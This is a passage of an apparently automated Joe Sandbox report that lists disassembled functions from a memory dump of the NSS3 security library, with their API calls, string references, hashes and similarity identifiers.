Part of subcall function 6CFEB030: PR_SetError.NSS3(FFFFE005,00000000,?,?,6D0C18D0,?), ref: 6CFEB095

DER_GetInteger_Util.NSS3(?), ref: 6CF9B007

Part of subcall function 6CFE6A90: PR_SetError.NSS3(FFFFE009,00000000,?,00000000,?,6CF91666,?,6CF9B00C,?), ref: 6CFE6AFB

PR_SetError.NSS3(FFFFE009,00000000), ref: 6CF9B02F
PR_CallOnce.NSS3(6D0F2AA4,6CFF12D0), ref: 6CF9B046
PL_FreeArenaPool.NSS3 ref: 6CF9B058
PL_FinishArenaPool.NSS3 ref: 6CF9B060

Strings

security, xrefs: 6CF9AFB8

Memory Dump Source

Source File: 00000000.00000002.1828070193.000000006CF11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF10000, based on PE: true

Associated: 00000000.00000002.1827977906.000000006CF10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828265706.000000006D0AF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828318985.000000006D0EE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828357298.000000006D0EF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828381502.000000006D0F0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828405095.000000006D0F5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cf10000_file.jbxd

Similarity

API ID: ArenaErrorPool$Util$CallDecodeFinishFreeInitInteger_Item_OnceQuick
String ID: security
API String ID: 3627567351-3315324353
Opcode ID: 05c7016a417f745b117a055edc87244f0f4883d7c53c28797436aeab01625039
Instruction ID: ab1592457f3e30d3cad25f2c66af356e5eb622183e3fb79be0f13ebdbafacc0b
Opcode Fuzzy Hash: 05c7016a417f745b117a055edc87244f0f4883d7c53c28797436aeab01625039
Instruction Fuzzy Hash: 93310671404300ABEB208F24DC45BAA77A4AF8672CF100A19F9B49B7E1E7329509C797

Function 6CF93E60 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 78COMMON

Download Yara Rule

APIs

Part of subcall function 6CF940D0: SECOID_FindOIDByTag_Util.NSS3(?,?,?,?,?,6CF93F7F,?,00000055,?,?,6CF91666,?,?), ref: 6CF940D9
Part of subcall function 6CF940D0: SECITEM_CompareItem_Util.NSS3(00000000,?,?,?,6CF91666,?,?), ref: 6CF940FC
Part of subcall function 6CF940D0: PR_SetError.NSS3(FFFFE023,00000000,?,?,6CF91666,?,?), ref: 6CF94138

PL_InitArenaPool.NSS3(?,security,00000800,00000008,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CF93EC2
SEC_QuickDERDecodeItem_Util.NSS3(?,?,?,?), ref: 6CF93ED6

Part of subcall function 6CFEB030: PR_SetError.NSS3(FFFFE005,00000000,?,?,6D0C18D0,?), ref: 6CFEB095

SECITEM_CopyItem_Util.NSS3(00000000,?,?), ref: 6CF93EEE

Part of subcall function 6CFEFB60: PORT_ArenaAlloc_Util.NSS3(00000000,E0056800,00000000,?,?,6CFE8D2D,?,00000000,?), ref: 6CFEFB85
Part of subcall function 6CFEFB60: memcpy.VCRUNTIME140(00000000,6A1BEBC6,E0056800,?), ref: 6CFEFBB1

PR_CallOnce.NSS3(6D0F2AA4,6CFF12D0), ref: 6CF93F02
PL_FreeArenaPool.NSS3 ref: 6CF93F14
PL_FinishArenaPool.NSS3 ref: 6CF93F1C

Part of subcall function 6CFF64F0: free.MOZGLUE(00000000,00000000,00000000,00000000,?,6CFF127C,00000000,00000000,00000000), ref: 6CFF650E

SECITEM_ZfreeItem_Util.NSS3(?,00000000), ref: 6CF93F27

Strings

security, xrefs: 6CF93EBC

Memory Dump Source

Source File: 00000000.00000002.1828070193.000000006CF11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF10000, based on PE: true

Associated: 00000000.00000002.1827977906.000000006CF10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828265706.000000006D0AF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828318985.000000006D0EE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828357298.000000006D0EF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828381502.000000006D0F0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828405095.000000006D0F5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cf10000_file.jbxd

Similarity

API ID: Util$ArenaItem_$Pool$Error$Alloc_CallCompareCopyDecodeFindFinishFreeInitOnceQuickTag_Zfreefreememcpy
String ID: security
API String ID: 1076417423-3315324353
Opcode ID: 47e9afccdfb955e060f84afe2400f646b6daa05071b9164ceb377918b1e59042
Instruction ID: 4a9aa819fe1de0b725cf55b37ae1ef5e711f305c7e8abb927facaada494fa112
Opcode Fuzzy Hash: 47e9afccdfb955e060f84afe2400f646b6daa05071b9164ceb377918b1e59042
Instruction Fuzzy Hash: FA21DAB2904304BBE7149B15AC41FAB77A8EB8871CF04053DF959A7781F731D518C796

Function 6CFCACC0 Relevance: 14.1, APIs: 4, Strings: 4, Instructions: 76COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_MessageDecryptFinal), ref: 6CFCACE6
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6CFCAD14
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6CFCAD23

Part of subcall function 6D0AD930: PL_strncpyz.NSS3(?,?,?), ref: 6D0AD963

PR_LogPrint.NSS3(?,00000000), ref: 6CFCAD39

Strings

hSession = 0x%x, xrefs: 6CFCACFE, 6CFCAD0E
(CK_INVALID_HANDLE), xrefs: 6CFCAD1C
C_MessageDecryptFinal, xrefs: 6CFCACE1
nm, xrefs: 6CFCAD51, 6CFCAD7B

Memory Dump Source

Source File: 00000000.00000002.1828070193.000000006CF11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF10000, based on PE: true

Associated: 00000000.00000002.1827977906.000000006CF10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828265706.000000006D0AF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828318985.000000006D0EE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828357298.000000006D0EF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828381502.000000006D0F0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828405095.000000006D0F5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cf10000_file.jbxd

Similarity

API ID: L_strncpyzPrint$L_strcatn
String ID: hSession = 0x%x$ (CK_INVALID_HANDLE)$C_MessageDecryptFinal$nm
API String ID: 332880674-3879164835
Opcode ID: 8ad7e5d5ec13f163f8c6c59ff0ad483a1c20cd0b4e09f93ff86ef6dfa51cd620
Instruction ID: 1d9a5a36ae9892c632c3511adc673cb66b9963778e69faff07144099de485578
Opcode Fuzzy Hash: 8ad7e5d5ec13f163f8c6c59ff0ad483a1c20cd0b4e09f93ff86ef6dfa51cd620
Instruction Fuzzy Hash: E1212671B051059FEB10DB64ED88BAF33B5EB42319F194028ED0DD7252EB30A808C793

Function 6CFDCC70 Relevance: 13.8, APIs: 9, Instructions: 313COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,00000100,?), ref: 6CFDCD08
PK11_DoesMechanism.NSS3(?,?), ref: 6CFDCE16
PR_SetError.NSS3(00000000,00000000), ref: 6CFDD079

Part of subcall function 6D03C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6D03C2BF

Memory Dump Source

Source File: 00000000.00000002.1828070193.000000006CF11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF10000, based on PE: true

Associated: 00000000.00000002.1827977906.000000006CF10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828265706.000000006D0AF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828318985.000000006D0EE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828357298.000000006D0EF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828381502.000000006D0F0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828405095.000000006D0F5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cf10000_file.jbxd

Similarity

API ID: DoesErrorK11_MechanismValuememcpy
String ID:
API String ID: 1351604052-0
Opcode ID: 9f0c93666ae9efe111b72b8e134a69671196cd27a8f1f6fc7771757365bf6440
Instruction ID: b8c54b2676d5b8dd2b3469a8442b09d132e31a5c494aa295954cac34dc6c418e
Opcode Fuzzy Hash: 9f0c93666ae9efe111b72b8e134a69671196cd27a8f1f6fc7771757365bf6440
Instruction Fuzzy Hash: C1C180B1A002199BDB10DF24CC84BDAB7B4BF48318F1A41A8E948A7741E775EE95CF91

Function 6CFCDC60 Relevance: 13.7, APIs: 9, Instructions: 245memoryCOMMON

Download Yara Rule

APIs

PORT_Alloc_Util.NSS3(0000000C,?,?,00000000,?,6CFD97C1,?,00000000,00000000,?,?,?,00000000,?,6CFB7F4A,00000000), ref: 6CFCDC68

Part of subcall function 6CFF0BE0: malloc.MOZGLUE(6CFE8D2D,?,00000000,?), ref: 6CFF0BF8
Part of subcall function 6CFF0BE0: TlsGetValue.KERNEL32(6CFE8D2D,?,00000000,?), ref: 6CFF0C15

PORT_Alloc_Util.NSS3(00000008,00000000,?,?,?,00000000,?,6CFB7F4A,00000000,?,00000000,00000000), ref: 6CFCDD36
PORT_Alloc_Util.NSS3(?,00000000,?,?,?,00000000,?,6CFB7F4A,00000000,?,00000000,00000000), ref: 6CFCDE2D
memcpy.VCRUNTIME140(00000000,00000000,?,?,00000000,?,?,?,00000000,?,6CFB7F4A,00000000,?,00000000,00000000), ref: 6CFCDE43
PORT_Alloc_Util.NSS3(0000000C,00000000,?,?,?,00000000,?,6CFB7F4A,00000000,?,00000000,00000000), ref: 6CFCDE76
PORT_Alloc_Util.NSS3(?,00000000,?,?,?,00000000,?,6CFB7F4A,00000000,?,00000000,00000000), ref: 6CFCDF32
memcpy.VCRUNTIME140(-00000010,00000000,00000000,?,00000000,?,?,?,00000000,?,6CFB7F4A,00000000,?,00000000,00000000), ref: 6CFCDF5F
PORT_Alloc_Util.NSS3(00000004,00000000,?,?,?,00000000,?,6CFB7F4A,00000000,?,00000000,00000000), ref: 6CFCDF78
PORT_Alloc_Util.NSS3(00000010,00000000,?,?,?,00000000,?,6CFB7F4A,00000000,?,00000000,00000000), ref: 6CFCDFAA

Memory Dump Source

Source File: 00000000.00000002.1828070193.000000006CF11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF10000, based on PE: true

Associated: 00000000.00000002.1827977906.000000006CF10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828265706.000000006D0AF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828318985.000000006D0EE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828357298.000000006D0EF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828381502.000000006D0F0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828405095.000000006D0F5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cf10000_file.jbxd

Similarity

API ID: Alloc_Util$memcpy$Valuemalloc
String ID:
API String ID: 1886645929-0
Opcode ID: fe8d88a349e5673cf738647205dd9f379d38853f63a25a7da66ce1962b66b1ea
Instruction ID: e1c0b845c53230d82034b66a9ae43852b0268b9d8e471b35f3555875f17edadf
Opcode Fuzzy Hash: fe8d88a349e5673cf738647205dd9f379d38853f63a25a7da66ce1962b66b1ea
Instruction Fuzzy Hash: BB819071BC66078BFF148A59C8A03EF7696EB60748F24843AD919CAEE1E774C484C753

Function 6CFA3C60 Relevance: 13.7, APIs: 9, Instructions: 213memoryCOMMON

Download Yara Rule

APIs

PK11_GetCertFromPrivateKey.NSS3(?), ref: 6CFA3C76
CERT_DestroyCertificate.NSS3(00000000), ref: 6CFA3C94

Part of subcall function 6CF995B0: TlsGetValue.KERNEL32(00000000,?,6CFB00D2,00000000), ref: 6CF995D2
Part of subcall function 6CF995B0: EnterCriticalSection.KERNEL32(?,?,?,6CFB00D2,00000000), ref: 6CF995E7
Part of subcall function 6CF995B0: PR_Unlock.NSS3(?,?,?,?,6CFB00D2,00000000), ref: 6CF99605

PORT_NewArena_Util.NSS3(00000800), ref: 6CFA3CB2
PORT_ArenaAlloc_Util.NSS3(00000000,000000AC), ref: 6CFA3CCA
memset.VCRUNTIME140(00000000,00000000,000000AC), ref: 6CFA3CE1

Part of subcall function 6CFA3090: PORT_NewArena_Util.NSS3(00000800,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,6CFBAE42), ref: 6CFA30AA
Part of subcall function 6CFA3090: PORT_ArenaAlloc_Util.NSS3(00000000,000000AC,?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6CFA30C7
Part of subcall function 6CFA3090: memset.VCRUNTIME140(-00000004,00000000,000000A8), ref: 6CFA30E5
Part of subcall function 6CFA3090: SECOID_GetAlgorithmTag_Util.NSS3(?), ref: 6CFA3116
Part of subcall function 6CFA3090: SECITEM_CopyItem_Util.NSS3(00000000,?,?), ref: 6CFA312B
Part of subcall function 6CFA3090: PK11_DestroyObject.NSS3(?,?), ref: 6CFA3154
Part of subcall function 6CFA3090: PORT_FreeArena_Util.NSS3(00000000,00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CFA317E

Memory Dump Source

Source File: 00000000.00000002.1828070193.000000006CF11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF10000, based on PE: true

Associated: 00000000.00000002.1827977906.000000006CF10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828265706.000000006D0AF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828318985.000000006D0EE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828357298.000000006D0EF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828381502.000000006D0F0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828405095.000000006D0F5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cf10000_file.jbxd

Similarity

API ID: Util$Arena_$Alloc_ArenaDestroyK11_memset$AlgorithmCertCertificateCopyCriticalEnterFreeFromItem_ObjectPrivateSectionTag_UnlockValue
String ID:
API String ID: 3167935723-0
Opcode ID: f04cc0eb1e1112b668eb4c5e8308425174ba5a205b0ffe27aa454756651f34f7
Instruction ID: 03d9ef32e1c68228a74b8455f4d054c4fbdbc1aca99f94ee55353f52e9a8759c
Opcode Fuzzy Hash: f04cc0eb1e1112b668eb4c5e8308425174ba5a205b0ffe27aa454756651f34f7
Instruction Fuzzy Hash: 8E61A8B5A00200EBEB105FA5DC85FA7B6B9EF04748F098528FE059B652F731E91DC7A1

Function 6CFE3D40 Relevance: 13.7, APIs: 9, Instructions: 169COMMON

Download Yara Rule

APIs

Part of subcall function 6CFE3440: PK11_GetAllTokens.NSS3 ref: 6CFE3481
Part of subcall function 6CFE3440: PR_SetError.NSS3(00000000,00000000), ref: 6CFE34A3
Part of subcall function 6CFE3440: TlsGetValue.KERNEL32 ref: 6CFE352E
Part of subcall function 6CFE3440: EnterCriticalSection.KERNEL32(?), ref: 6CFE3542
Part of subcall function 6CFE3440: PR_Unlock.NSS3(?), ref: 6CFE355B

TlsGetValue.KERNEL32 ref: 6CFE3D8B
EnterCriticalSection.KERNEL32(?), ref: 6CFE3D9F
PR_Unlock.NSS3(?), ref: 6CFE3DCA
PR_SetError.NSS3(00000000,00000000), ref: 6CFE3DE2
PR_SetError.NSS3(FFFFE040,00000000), ref: 6CFE3E4F

Part of subcall function 6D03C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6D03C2BF

TlsGetValue.KERNEL32 ref: 6CFE3E97
EnterCriticalSection.KERNEL32(?), ref: 6CFE3EAB
PR_Unlock.NSS3(?), ref: 6CFE3ED6
PR_SetError.NSS3(00000000,00000000), ref: 6CFE3EEE

Memory Dump Source

Source File: 00000000.00000002.1828070193.000000006CF11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF10000, based on PE: true

Associated: 00000000.00000002.1827977906.000000006CF10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828265706.000000006D0AF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828318985.000000006D0EE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828357298.000000006D0EF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828381502.000000006D0F0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828405095.000000006D0F5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cf10000_file.jbxd

Similarity

API ID: ErrorValue$CriticalEnterSectionUnlock$K11_Tokens
String ID:
API String ID: 2554137219-0
Opcode ID: 01695fcfcc011f2e0faed7cf9d69533a289e96b64add8d93d09ab3be65a8726d
Instruction ID: 776c342bd52fdf4f8c4084d7ffbc9886b68dbf538b21b8709f5adb360ac3e610
Opcode Fuzzy Hash: 01695fcfcc011f2e0faed7cf9d69533a289e96b64add8d93d09ab3be65a8726d
Instruction Fuzzy Hash: 2F512A76900601AFEB115F29DC48BAB77B4EF49318F190128DE0597A32EB31E95CCBD1

Function 6CF92C30 Relevance: 13.7, APIs: 9, Instructions: 166memoryCOMMON

Download Yara Rule

APIs

PORT_ZAlloc_Util.NSS3(CF417904), ref: 6CF92C5D

Part of subcall function 6CFF0D30: calloc.MOZGLUE ref: 6CFF0D50
Part of subcall function 6CFF0D30: TlsGetValue.KERNEL32 ref: 6CFF0D6D

CERT_NewTempCertificate.NSS3(?,?,00000000,00000000,00000001), ref: 6CF92C8D
SECITEM_ZfreeItem_Util.NSS3(?,00000000), ref: 6CF92CE0

Part of subcall function 6CF92E00: SECITEM_DupItem_Util.NSS3(-0000003C,00000000,00000000,?,?,?,6CF92CDA,?,00000000), ref: 6CF92E1E
Part of subcall function 6CF92E00: SECITEM_DupItem_Util.NSS3(?), ref: 6CF92E33
Part of subcall function 6CF92E00: TlsGetValue.KERNEL32 ref: 6CF92E4E
Part of subcall function 6CF92E00: EnterCriticalSection.KERNEL32(?), ref: 6CF92E5E
Part of subcall function 6CF92E00: PL_HashTableLookup.NSS3(?), ref: 6CF92E71
Part of subcall function 6CF92E00: PL_HashTableRemove.NSS3(?), ref: 6CF92E84
Part of subcall function 6CF92E00: PL_HashTableAdd.NSS3(?,00000000), ref: 6CF92E96
Part of subcall function 6CF92E00: PR_Unlock.NSS3 ref: 6CF92EA9

PR_SetError.NSS3(FFFFE005,00000000), ref: 6CF92D23
CERT_IsCACert.NSS3(00000001,00000000), ref: 6CF92D30
CERT_MakeCANickname.NSS3(00000001), ref: 6CF92D3F
free.MOZGLUE(00000000), ref: 6CF92D73
CERT_DestroyCertificate.NSS3(?), ref: 6CF92DB8
free.MOZGLUE ref: 6CF92DC8

Part of subcall function 6CF93E60: PL_InitArenaPool.NSS3(?,security,00000800,00000008,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CF93EC2
Part of subcall function 6CF93E60: SEC_QuickDERDecodeItem_Util.NSS3(?,?,?,?), ref: 6CF93ED6
Part of subcall function 6CF93E60: SECITEM_CopyItem_Util.NSS3(00000000,?,?), ref: 6CF93EEE
Part of subcall function 6CF93E60: PR_CallOnce.NSS3(6D0F2AA4,6CFF12D0), ref: 6CF93F02
Part of subcall function 6CF93E60: PL_FreeArenaPool.NSS3 ref: 6CF93F14
Part of subcall function 6CF93E60: SECITEM_ZfreeItem_Util.NSS3(?,00000000), ref: 6CF93F27

Memory Dump Source

Source File: 00000000.00000002.1828070193.000000006CF11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF10000, based on PE: true

Associated: 00000000.00000002.1827977906.000000006CF10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828265706.000000006D0AF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828318985.000000006D0EE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828357298.000000006D0EF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828381502.000000006D0F0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828405095.000000006D0F5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cf10000_file.jbxd

Similarity

API ID: Util$Item_$HashTable$ArenaCertificatePoolValueZfreefree$Alloc_CallCertCopyCriticalDecodeDestroyEnterErrorFreeInitLookupMakeNicknameOnceQuickRemoveSectionTempUnlockcalloc
String ID:
API String ID: 3941837925-0
Opcode ID: d9ef8767803b821928e0dc9844fb3a84fcf1e38ff0ce1d5ef553373d01d590e2
Instruction ID: 98fe1dc4ffccefb3042bb5c54cc3c9d170f1a4df1bb7adc3dc2e43dc6e66d8fa
Opcode Fuzzy Hash: d9ef8767803b821928e0dc9844fb3a84fcf1e38ff0ce1d5ef553373d01d590e2
Instruction Fuzzy Hash: DF51EF72A052129FFF11DF29DC88B5B77E5EF84308F15042DEC5993660EB32E8198B92

Function 6CF97CC0 Relevance: 13.6, APIs: 9, Instructions: 132threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6CF940D0: SECOID_FindOIDByTag_Util.NSS3(?,?,?,?,?,6CF93F7F,?,00000055,?,?,6CF91666,?,?), ref: 6CF940D9
Part of subcall function 6CF940D0: SECITEM_CompareItem_Util.NSS3(00000000,?,?,?,6CF91666,?,?), ref: 6CF940FC
Part of subcall function 6CF940D0: PR_SetError.NSS3(FFFFE023,00000000,?,?,6CF91666,?,?), ref: 6CF94138

PR_GetCurrentThread.NSS3 ref: 6CF97CFD

Part of subcall function 6D059BF0: TlsGetValue.KERNEL32(?,?,?,6D0A0A75), ref: 6D059C07

SECITEM_ItemsAreEqual_Util.NSS3(?,6D0B9030), ref: 6CF97D1B

Part of subcall function 6CFEFD30: memcmp.VCRUNTIME140(?,AF840FC0,8B000000,?,6CF91A3E,00000048,00000054), ref: 6CFEFD56

SECITEM_ItemsAreEqual_Util.NSS3(?,6D0B9048), ref: 6CF97D2F
SECITEM_CopyItem_Util.NSS3(00000000,?,00000000), ref: 6CF97D50
PR_GetCurrentThread.NSS3 ref: 6CF97D61
PORT_ArenaMark_Util.NSS3(?), ref: 6CF97D7D
free.MOZGLUE(?), ref: 6CF97D9C
CERT_CheckNameSpace.NSS3(?,00000000,00000000), ref: 6CF97DB8
PR_SetError.NSS3(FFFFE023,00000000), ref: 6CF97E19

Memory Dump Source

Source File: 00000000.00000002.1828070193.000000006CF11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF10000, based on PE: true

Associated: 00000000.00000002.1827977906.000000006CF10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828265706.000000006D0AF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828318985.000000006D0EE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828357298.000000006D0EF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828381502.000000006D0F0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828405095.000000006D0F5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cf10000_file.jbxd

Similarity

API ID: Util$CurrentEqual_ErrorItem_ItemsThread$ArenaCheckCompareCopyFindMark_NameSpaceTag_Valuefreememcmp
String ID:
API String ID: 70581797-0
Opcode ID: cf9d8ea523d93ef523205429679344424cb21812e675a0e45739d04645bdad6d
Instruction ID: d682ec858733120eea920fd20ea577504544213831bd8fa55c17667eb5a6ccb3
Opcode Fuzzy Hash: cf9d8ea523d93ef523205429679344424cb21812e675a0e45739d04645bdad6d
Instruction Fuzzy Hash: 0B41E472A0421A9BFF008F69AC41BAF37E4AF5535CF050027ED19A7661E730E915C7A1

Function 6CFA7EB0 Relevance: 13.6, APIs: 9, Instructions: 124threadCOMMON

Download Yara Rule

APIs

free.MOZGLUE(?,00000000,00000000,?,?,?,6CFA80DD), ref: 6CFA7F15
DeleteCriticalSection.KERNEL32(?,00000000,00000000,?,?,?,6CFA80DD), ref: 6CFA7F36
free.MOZGLUE(?,?,?,6CFA80DD), ref: 6CFA7F3D
SECOID_Shutdown.NSS3(00000000,00000000,?,?,?,6CFA80DD), ref: 6CFA7F5D
DeleteCriticalSection.KERNEL32(?,6CFA80DD), ref: 6CFA7F94
free.MOZGLUE(?), ref: 6CFA7F9B
PR_SetError.NSS3(FFFFE08B,00000000,6CFA80DD), ref: 6CFA7FD0
PR_SetThreadPrivate.NSS3(FFFFFFFF,00000000,6CFA80DD), ref: 6CFA7FE6
free.MOZGLUE(?,6CFA80DD), ref: 6CFA802D

Memory Dump Source

Source File: 00000000.00000002.1828070193.000000006CF11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF10000, based on PE: true

Associated: 00000000.00000002.1827977906.000000006CF10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828265706.000000006D0AF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828318985.000000006D0EE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828357298.000000006D0EF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828381502.000000006D0F0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828405095.000000006D0F5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cf10000_file.jbxd

Similarity

API ID: free$CriticalDeleteSection$ErrorPrivateShutdownThread
String ID:
API String ID: 4037168058-0
Opcode ID: 890d407cc63de16a41a1a3e8df2bb70a5334e02ff5e051e16ed4ceac981f22c8
Instruction ID: 374e3d05264109021988bf0c1dcc37d7122ed1be215513600e422168cf674502
Opcode Fuzzy Hash: 890d407cc63de16a41a1a3e8df2bb70a5334e02ff5e051e16ed4ceac981f22c8
Instruction Fuzzy Hash: 8E41D7719011808BDF20DFB9E885B4A7BB5BB5B718F25022AED19C7744D7319806C7A5

Function 6CFEFEE0 Relevance: 13.6, APIs: 9, Instructions: 120memoryCOMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE005,00000000), ref: 6CFEFF00

Part of subcall function 6D03C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6D03C2BF

PORT_ArenaMark_Util.NSS3(?), ref: 6CFEFF18
PORT_ArenaAlloc_Util.NSS3(?,00000008), ref: 6CFEFF26
PORT_ArenaMark_Util.NSS3(?), ref: 6CFEFF4F
PORT_ArenaAlloc_Util.NSS3(?,00000001), ref: 6CFEFF7A
memset.VCRUNTIME140(00000000,00000000,00000001), ref: 6CFEFF8C

Memory Dump Source

Source File: 00000000.00000002.1828070193.000000006CF11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF10000, based on PE: true

Associated: 00000000.00000002.1827977906.000000006CF10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828265706.000000006D0AF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828318985.000000006D0EE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828357298.000000006D0EF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828381502.000000006D0F0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828405095.000000006D0F5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cf10000_file.jbxd

Similarity

API ID: ArenaUtil$Alloc_Mark_$ErrorValuememset
String ID:
API String ID: 1233137751-0
Opcode ID: 3e4f56e733fcccab87ec181d6dcf95e2c4757365e155cbdc2080ae008253e6fe
Instruction ID: f4abf12d186bb4be186bfcc58eb81a3564661e7a875ffd8ec002eb55330412d4
Opcode Fuzzy Hash: 3e4f56e733fcccab87ec181d6dcf95e2c4757365e155cbdc2080ae008253e6fe
Instruction Fuzzy Hash: 6C3179F2D01392ABE7108F54AC40B5B76A8EF8A358F144239ED2997710FBB1D905C7D1

Function 6CFF3CA0 Relevance: 13.6, APIs: 9, Instructions: 90memoryCOMMON

Download Yara Rule

APIs

